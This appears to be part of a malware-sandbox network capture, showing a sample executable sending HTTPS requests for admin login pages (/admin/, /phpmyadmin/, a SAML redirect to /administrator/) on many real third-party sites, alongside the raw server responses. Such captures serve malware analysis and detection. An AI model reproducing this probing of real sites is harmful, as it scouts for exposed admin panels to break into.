2023-11-26 05:59:45 UTC	608	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 56 57 4d 57 35 73 52 57 6c 36 56 54 64 43 4e 33 64 47 54 7a 68 61 4d 54 64 6c 52 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 6e 6f 34 5a 32 4e 51 61 55 6c 6f 62 31 49 76 61 48 5a 6f 64 7a 67 79 53 33 64 4d 4e 6d 70 33 56 45 68 44 51 32 64 76 59 7a 59 34 52 31 42 52 61 53 74 78 57 44 4e 51 4e 32 78 43 57 6d 31 44 4d 6c 49 33 64 7a 52 57 53 31 6b 72 52 48 4d 33 64 6d 4a 32 51 6b 6b 77 57 6e 6c 74 63 55 78 59 4f 47 46 57 63 44 68 69 53 54 56 46 65 46 64 4c 56 46 59 76 64 55 67 72 54 7a 52 4e 4d 30 5a 71 65 45 51 79 51 57 35 48 53 6b 38 31 4e 69 39 6f 57 47 77 72 51 7a 64 47 64 54 56 54 53 57 78 47 53 7a 52 4c 57 48 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6InVWMW5sRWl6VTdCN3dGTzhaMTdlRkE9PSIsInZhbHVlIjoiRno4Z2NQaUlob1IvaHZodzgyS3dMNmp3VEhDQ2dvYzY4R1BRaStxWDNQN2xCWm1DMlI3dzRWS1krRHM3dmJ2QkkwWnltcUxYOGFWcDhiSTVFeFdLVFYvdUgrTzRNM0ZqeEQyQW5HSk81Ni9oWGwrQzdGdTVTSWxGSzRLWH
2023-11-26 05:59:45 UTC	1580	IN	Data Raw: 36 32 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 20 41 72 69 61 6c 2c 20 73 61 Data Ascii: 620<!doctype html><html><head> <title>404 - Page Not Found</title> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; font-family: Roboto, Helvetica Neue, Arial, sa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.4	51755	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	167	OUT	GET /admin/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:45 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:45 UTC	643	IN	Data Raw: 32 37 37 0d 0a 2f 61 64 6d 69 6e 2f 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 277/admin/OOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.4	51312	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	968	OUT	GET /saml/index.php?page=%2Fadministrator%2Findex.php HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJRb9owFIXf%2BRVV3uM4CaGJBUisrC0SA1TYHvYyXeybYsmxU9tpx79fiLd1mzTu4%2FE9n8498tRBo1q26PxJP%2BFLh86Pbvr53ijt2PA4izqrmQEnHdPQoGOes%2F3i05plhLLWGm%2B4UdE%2FtusucA6tl0YH22o5i7abj%2Bvtw2rzbZJCxbEu6FHc5hWnNE2xHFdlWRcgUBR5QUHkcBusX9C6njOLemw0CjTnOlxp50H7XqdZHqdpnE0OtGBFxfLya7Au%2B2OlBj%2FYT963jiWJMs9Sk0Zya5ypvdFKaiTcNAkv63FeFRjXMMZ4nFaTGMSxio%2BQcZFxoFVNk8vpWcDvfjbzQWoh9fP1Qo5hybHHw2EX77b7Q4AsfhV1Z7TrGrR7tK%2BS4%2Ben9Xvm5kw4qFewZ%2FKiBEHREeiGKAkPNtKe2mg%2BEKcXnQ0d2flVwjT5c%2FXd3LJNn3%2B13Bkl%2BXnQL3NvbAP%2B%2F2emJB0UKeJ6WGWddi1yWUsU0W%2FMQinzdmcRPM4ibzuMbpL5KGT5%2B6POfwA%3D&RelayState=%2Fadministrator%2F
2023-11-26 05:59:45 UTC	1089	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTPragma: no-cacheCache-Control: no-cache, must-revalida
2023-11-26 05:59:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.4	51505	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:45 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:45 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.4	52052	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	167	OUT	GET /admin HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	294	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 70 61 67 65 73 2f 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:45 GMTServer: Apache/2.4.52 (Ubuntu)location: https://ce-logic.com/admin/pages/vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateContent-Length: 0Connection: closeCon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.4	51334	117.20.63.148	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: student.debritto.sch.id Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 0d 0a 58 2d 43 61 63 68 65 3a 20 48 49 54 20 66 72 6f 6d 20 42 61 63 6b 65 6e 64 0d 0a 53 74 72 69 63 74 2d 54 72 61 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginx/1.20.1Date: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 238Connection: closeLocation: http://117.20.63.148:2030/pma/X-Cache: HIT from BackendStrict-Tra
2023-11-26 05:59:45 UTC	238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://117.20.63.148:2030/pma/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.4	51632	54.233.137.124	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	267	OUT	GET / HTTP/1.1 Host: www.rech.com Accept: / Accept-Encoding: deflate, gzip Cookie: originDirect=true; SESSION=d0ba3db7-afea-40d5-bf45-8ca13b5deab0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.rech.com/
2023-11-26 05:59:45 UTC	396	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 70 74 2d 42 52 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedConnection: closeContent-Language: pt-BRContent-Security-Policy: frame-ancestors 'self'Strict-Transport-Security: max-age=315360
2023-11-26 05:59:45 UTC	15988	IN	Data Raw: 37 65 36 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 Data Ascii: 7e69<!DOCTYPE html>...[if lt IE 7 ]> <html lang="pt" class="no-js ie6"> <![endif]-->...[if IE 7 ]> <html lang="pt" class="no-js ie7"> <![endif]-->...[if IE 8 ]> <html lang="pt" class="no-js ie8"> <![endif]-->...[if IE 9 ]> <html lang="p
